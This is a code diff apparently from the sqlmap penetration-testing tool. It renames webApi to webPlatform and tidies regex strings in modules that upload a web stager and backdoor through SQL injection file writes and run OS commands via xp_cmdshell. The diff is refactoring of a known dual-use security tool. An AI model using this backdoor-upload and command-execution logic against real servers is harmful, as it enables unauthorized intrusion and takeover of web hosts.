@@ -147,8 +146,7 @@ class Web:
query += "OR %d=%d " % (randInt, randInt) query += "OR %d=%d " % (randInt, randInt)
query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=hexencode(uplQuery, conf.encoding)) query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=hexencode(uplQuery, conf.encoding))
query = agent.prefixQuery(query) query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required)
query = agent.suffixQuery(query)
payload = agent.payload(newValue=query) payload = agent.payload(newValue=query)
page = Request.queryPage(payload) page = Request.queryPage(payload)
@@ -160,13 +158,13 @@ class Web:
remote directory within the web server document root. remote directory within the web server document root.
""" """
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None: if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webPlatform is not None:
return return
self.checkDbmsOs() self.checkDbmsOs()
default = None default = None
choices = list(getPublicTypeMembers(WEB_API, True)) choices = list(getPublicTypeMembers(WEB_PLATFORM, True))
for ext in choices: for ext in choices:
if conf.url.endswith(ext): if conf.url.endswith(ext):
@@ -174,7 +172,7 @@ class Web:
break break
if not default: if not default:
default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP default = WEB_PLATFORM.ASP if Backend.isOs(OS.WINDOWS) else WEB_PLATFORM.PHP
message = "which web application language does the web server " message = "which web application language does the web server "
message += "support?\n" message += "support?\n"
@@ -198,7 +196,7 @@ class Web:
logger.warn("invalid value, it must be between 1 and %d" % len(choices)) logger.warn("invalid value, it must be between 1 and %d" % len(choices))
else: else:
self.webApi = choices[int(choice) - 1] self.webPlatform = choices[int(choice) - 1]
break break
if not kb.absFilePaths: if not kb.absFilePaths:
@@ -220,7 +218,7 @@ class Web:
finally: finally:
been.add(url) been.add(url)
url = re.sub(r"(\.\w+)\Z", "~\g<1>", conf.url) url = re.sub(r"(\.\w+)\Z", r"~\g<1>", conf.url)
if url not in been: if url not in been:
try: try:
page, _, _ = Request.getPage(url=url, raise404=False, silent=True) page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
@@ -232,7 +230,7 @@ class Web:
for place in (PLACE.GET, PLACE.POST): for place in (PLACE.GET, PLACE.POST):
if place in conf.parameters: if place in conf.parameters:
value = re.sub(r"(\A|&)(\w+)=", "\g<2>[]=", conf.parameters[place]) value = re.sub(r"(\A|&)(\w+)=", r"\g<2>[]=", conf.parameters[place])
if "[]" in value: if "[]" in value:
page, headers, _ = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False) page, headers, _ = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page) parseFilePaths(page)
@@ -244,12 +242,12 @@ class Web:
cookie = headers[HTTP_HEADER.SET_COOKIE] cookie = headers[HTTP_HEADER.SET_COOKIE]
if cookie: if cookie:
value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie) value = re.sub(r"(\A|;)(\w+)=[^;]*", r"\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie)
if value != cookie: if value != cookie:
page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False) page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page) parseFilePaths(page)
value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=", cookie) value = re.sub(r"(\A|;)(\w+)=[^;]*", r"\g<2>=", cookie)
if value != cookie: if value != cookie:
page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False) page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page) parseFilePaths(page)
@@ -268,16 +266,16 @@ class Web:
_.append("%s/%s" % (directory.rstrip('/'), path.strip('/'))) _.append("%s/%s" % (directory.rstrip('/'), path.strip('/')))
directories = _ directories = _
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi) backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webPlatform)
backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webApi)) backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webPlatform))
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi)) stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform))
for directory in directories: for directory in directories:
if not directory: if not directory:
continue continue
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webPlatform)
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName) self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
uploaded = False uploaded = False
@@ -319,14 +317,14 @@ class Web:
infoMsg += "via UNION method" infoMsg += "via UNION method"
logger.info(infoMsg) logger.info(infoMsg)
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webPlatform)
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName) self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
handle, filename = tempfile.mkstemp() handle, filename = tempfile.mkstemp()
os.close(handle) os.close(handle)
with open(filename, "w+b") as f: with open(filename, "w+b") as f:
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi)) _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform))
_ = _.replace(SHELL_WRITABLE_DIR_TAG, utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)) _ = _.replace(SHELL_WRITABLE_DIR_TAG, utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory))
f.write(_) f.write(_)
@@ -355,7 +353,7 @@ class Web:
logger.warn(warnMsg) logger.warn(warnMsg)
continue continue
elif self.webApi == WEB_API.ASPX: elif self.webPlatform == WEB_PLATFORM.ASPX:
kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage) kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage) kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)
@@ -363,7 +361,7 @@ class Web:
infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl) infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
logger.info(infoMsg) logger.info(infoMsg)
if self.webApi == WEB_API.ASP: if self.webPlatform == WEB_PLATFORM.ASP:
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage) match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
if match: if match:
+4 -2
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -24,6 +24,7 @@ from lib.core.convert import hexencode
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.decorators import stackedmethod
from lib.core.enums import CHARSET_TYPE from lib.core.enums import CHARSET_TYPE
from lib.core.enums import DBMS from lib.core.enums import DBMS
from lib.core.enums import EXPECTED from lib.core.enums import EXPECTED
@@ -96,6 +97,7 @@ class XP_cmdshell:
return wasLastResponseDelayed() return wasLastResponseDelayed()
@stackedmethod
def _xpCmdshellTest(self): def _xpCmdshellTest(self):
threadData = getCurrentThreadData() threadData = getCurrentThreadData()
pushValue(threadData.disableStdOut) pushValue(threadData.disableStdOut)
@@ -134,7 +136,7 @@ class XP_cmdshell:
for line in lines: for line in lines:
echoedLine = "echo %s " % line echoedLine = "echo %s " % line
echoedLine += ">> \"%s\%s\"" % (tmpPath, randDestFile) echoedLine += ">> \"%s\\%s\"" % (tmpPath, randDestFile)
echoedLines.append(echoedLine) echoedLines.append(echoedLine)
for echoedLine in echoedLines: for echoedLine in echoedLines:
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

Some files were not shown because too many files have changed in this diff Show More